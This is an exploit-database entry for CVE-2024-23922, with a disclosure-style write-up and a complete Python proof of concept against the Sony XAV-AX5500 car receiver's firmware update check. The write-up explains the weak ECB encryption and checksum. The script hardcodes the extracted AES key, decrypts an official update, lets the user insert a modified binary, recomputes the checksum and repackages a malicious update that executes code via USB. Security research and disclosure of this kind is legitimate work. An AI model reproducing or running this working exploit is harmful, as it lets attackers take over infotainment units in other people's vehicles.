1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 |
# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution # Date: 11-Feb-2025 # Exploit Author: lkushinada # Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500 # Software Link: https://archive.org/details/xav-ax-5500-v-113 # Version: 1.13 # Tested on: Sony XAV-AX5500 # CVE : CVE-2024-23922 # From NIST CVE Details: # ==== # This vulnerability allows physically present attackers to execute arbitrary code on affected # installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this # vulnerability. The specific flaw exists within the handling of software updates. The issue # results from the lack of proper validation of software update packages. An attacker can leverage # this vulnerability to execute code in the context of the device. # Was ZDI-CAN-22939 # ==== # # Summary # Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography, # obscurity of their package format, and a weird checksum method instead of any real firmware # signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation # and allow a USB-based attacker to obtain RCE on the infotainment unit. # What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's # infotainment units and products which use a similar chipset or firmware package format. Tested # to work on most firmware versions prior to v2.00. # # Threat Model # An attacker with physical access to an automotive media unit can typically utilize other methods # to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post # is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar # manner? if they are, how trivial is it to bypass? # # Disclaimer # The information in this article is for educational purposes only. # Tampering with an automotive system comes with risks which, if you don't understand, you should # not be undertaking. # THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING # FROM THE USE OF ANYTHING IN THIS DOCUMENT. # # The Unit # ## Processors #- DAC #- System Management Controller (SMC) #- Applications Processor #- Display Processor # Coming from a mobile and desktop computer environment, one may be use to thinking about # the Applications Processor as the most powerful chip in the system in terms of processing power, # size, power consumption, and system hierarchy. The first oddity of this platform is that the # application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the # board. # The application processor does not appear to be the orchestrator of the components on the system. # The SMC tkes which takes the role of watchdog, power state management, and input (think remote # controls, steering wheel button presses) routing. # For our purposes, it is the Applications processor we're interested in, as it is # the system responsible for updating the unit via USB. # ## Interfaces # We're going to be attacking the unit via USB, as it's the most readily exposed # interface to owners and would-be attackers. # Whilst the applications processor does have a UART interface, the most recent iterations of the # unit do not expose any headers for debugging via UART, and the one active UART line found to be # active was for message passing between the SMC and app processor, not debug purposes. Similarly, no # exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's # documentation suggests these are not enabled, but this could not be verified during testing. At the # very least, JTAG was not found to be exposed on an accessible interface. # ## Storage # The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This # firmware was RARd. The contents of SPI flash was analyzed to determine many of the details # discussed in this report. # ## The Updater # Updates are provided on Sony's support website. A ZIP package is provided with three files: #- SHDS1132.up6 #- SHMC1132.u88 #- SHSO1132.fir # The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted. # The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and # SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest: # 00002070b7 72 10 03 00 8c 82 7eaa d1 83 58 23 ef 82 5c|.r.....~...X#..\| # * # 00002860b7 72 10 03 00 8c 82 7eaa d1 83 58 23 ef 82 5c|.r.....~...X#..\| # 00744110b7 72 10 03 00 8c 82 7eaa d1 83 58 23 ef 82 5c|.r.....~...X#..\| # * # 00800020b7 72 10 03 00 8c 82 7eaa d1 83 58 23 ef 82 5c|.r.....~...X#..\| # ## SPI Flash # Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets: # 00001fe010 10 10 10 10 10 10 10ff ff ff ff ff ff ff ff|................| # 00001ff0ff ff ff ff ff ff ff ffff ff ff ff ff ff ff ff|................| # * # 000027f0ff ff ff ff ff ff ff ffff ff ff ff 00 03 e7 52|...............R| # 0000280052 61 72 21 1a 07 00 cf90 73 00 00 0d 00 00 00|Rar!.....s......| # # 0007fff0ff ff ff ff ff ff ff ffff ff ff ff 00 6c 40 8b|.............l@.| # 0008000052 61 72 21 1a 07 00 cf90 73 00 00 0d 00 00 00|Rar!.....s......| # ... # 00744090ff ff ff ff ff ff ff ffff ff ff ff ff ff ff ff|................| # * # 00778000 # # This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI. # Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications. # Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives # us a strong indication the encryption function is operating in an ECB-style configuration, # giving us an avenue, even if we do not recover the key, to potentially make modifications # to the firmware depending on how the checksum is being calculated. # ## Firmware # The recovery application contains the decompression, decryption and checksum methods. # Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800, # we start taking a look at the relevant functions by way of: # - looking for known strings (KRSELCO) # - analyizing the logic and looking for obvious "if this passed, begin the update, else fail" # - looking for things that look like encryption (loads of bitshifting math in one function) # Of interest to us, there is: # - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10 # - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5 # - 0x02d4ce - the AES decryption function # - 0x040dd4 - strcmp (?) # - 0x040aa4 - memcpy (?) # - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough #padding zeros to get us to a 16 byte key # This gives us all the information we need, other than making some guesses as to the general package # and header layout of the update package, to craft an update packager that allows arbitrary # modification of the firmware. # # Proof of Concept # The PoC below will take an existing USB firmware update, decrypt and extract the main binary, # pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage # the update. # ## Requirements # - Unixish system # - WinRar 2.0 (the version the Egyptians built the pyramids with) # ## Usage # cve-2024-23922.py path_to_winrar source.fir output.fir import argparse import sys import os import tempfile import shutil from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend # Filenames as found in the .FIR MAIN_BINARY_NAME="main_16.bin" MAIN_RAR_NAME="main_16.rar" DECRYPTED_FILE_NAME="decrypt.bin" ENCRYPTED_FILE_NAME="encrypt.bin" # Offsets in the .FIR HEADER_LENGTH=0x80 RECOVERY_OFFSET=0x2800 MAIN_OFFSET=0x80000 CHECKSUM_OFFSET=0x800000-0x10 CHECKSUM_SIZE=0x4 RAR_LENGTH_OFFSET=0x4 RAR_LENGTH_SIZE=0x4 # From 0x46490 in recovery_16.bin ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00' def decrypt_file(input_file, output_file): backend = default_backend() cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend) decryptor = cipher.decryptor() with open(input_file, 'rb') as file: ciphertext = file.read() # Strip the unencrypted header ciphertext = ciphertext[HEADER_LENGTH:] decrypted_data = decryptor.update(ciphertext) + decryptor.finalize() with open(output_file, 'wb') as file: file.write(decrypted_data) def aes_encrypt_file(input_file, output_file): backend = default_backend() cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend) encryptor = cipher.encryptor() with open(input_file, 'rb') as file: plaintext = file.read() ciphertext = encryptor.update(plaintext) + encryptor.finalize() with open(output_file, 'wb') as file: file.write(ciphertext) def get_sony_32(data): csum = int() for i in data: csum = csum + i return csum % 2147483648 # 2^31 def validate_args(winrar_path, source_file, destination_file): # Check if the WinRAR executable exists and is a file if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK): print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.") sys.exit(1) # Check if the source file exists if not os.path.isfile(source_file): print(f"[x] Error: The specified source file '{source_file}' does not exist.") sys.exit(1) # Read 8 bytes from offset 0x10 in the source file try: with open(source_file, 'rb') as f: f.seek(0x10) signature = f.read(8) if signature != b'KRSELECO': print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.") sys.exit(1) except Exception as e: print(f"[x] Error: Failed to read from '{source_file}': {e}") sys.exit(1) # Check if the destination file already exists if os.path.exists(destination_file): print(f"[x] Error: The destination file '{destination_file}' already exists.") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier") parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)") parser.add_argument("source_file", help="Path to original .FIR file") parser.add_argument("destination_file", help="Path to write the modified .FIR file to") args = parser.parse_args() validate_args(args.winrar_path, args.source_file, args.destination_file) RAR_2_PATH = args.winrar_path GOOD_FIRMWARE_FILE = args.source_file DESTINATION_FIRMWARE_FILE = args.destination_file # make temporary directory workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications") # copy the good firmware file into the temp directory temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE)) shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file) print("[+] Cutting the head off and decrypting the contents") decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME) decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path) print("[+] Dump out the rar file") with open(decrypted_file_path, 'rb') as file: # right before the rar file there is a 4 byte length header for the rar file. get that. file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET) original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big") rar_file_bytes = file.read(original_rar_length) # now dump that out rar_file_path=os.path.join(workdir, MAIN_RAR_NAME) with open(rar_file_path, 'wb') as rarfile: rarfile.write(rar_file_bytes) # check that the stat of the file matches what the header told us dumped_rar_size = os.stat(rar_file_path).st_size if dumped_rar_size != original_rar_length: print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length) print("[+] Extracting the main binary from the rar file") os.system("unrar x " + rar_file_path + " " + workdir) print("[!] Okay, I'm now going to wait until you have had a chance to make modifications") print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME)) input() print("[+] Continuing") print("[+] Putting your main binary back into the rar file") os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME) # we could fix this by writing some FFs new_rar_size=os.stat(rar_file_path).st_size if dumped_rar_size > os.stat(rar_file_path).st_size: print("[!!] The rar size is smaller than the old one. This might cause a problem.") print("[!!] Push any key to continue, ctrl+c to abort") input() with open(decrypted_file_path, 'r+b') as file: # right before the rar file there is a 4 byte length header for the rar file. go back there file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET) # overwrite the old size with the new size file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big")) print("[+] Deleting the old rar from the main container") # delete the old rar from the main container by FFing it up file.write(b'\xFF'*original_rar_length) # seek back to the start file.seek(MAIN_OFFSET) print("[+] Loading the new rar back into the main container") with open(rar_file_path, 'rb') as rarfile: new_rarfile_bytes = rarfile.read() file.write(new_rarfile_bytes) print("[+] Updating Checksum") with open(decrypted_file_path, 'rb') as file: contents = file.read() contents = contents[:-0x0010] s32_sum = get_sony_32(contents) with open(decrypted_file_path, 'r+b') as file: file.seek(CHECKSUM_OFFSET) # read out the current checksum old_checksum_bytes=file.read(CHECKSUM_SIZE) print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes) # go back and update it with new checksum print("new checksum:", s32_sum, hex(s32_sum)) new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big") file.seek(CHECKSUM_OFFSET) file.write(new_checksum_bytes) print("[+] Encrypting the main container back up") encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME) aes_encrypt_file(decrypted_file_path, encrypted_file_path) print("[+] Reattaching the main container to the header and writing to dest") with open(DESTINATION_FIRMWARE_FILE, 'wb') as file: with open(temp_fir_file, 'rb') as firfile: header = firfile.read(HEADER_LENGTH) file.write(header) with open(encrypted_file_path, 'rb') as encfile: enc_contents = encfile.read() file.write(enc_contents) print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.") input() shutil.rmtree(workdir) if __name__ == "__main__": main() |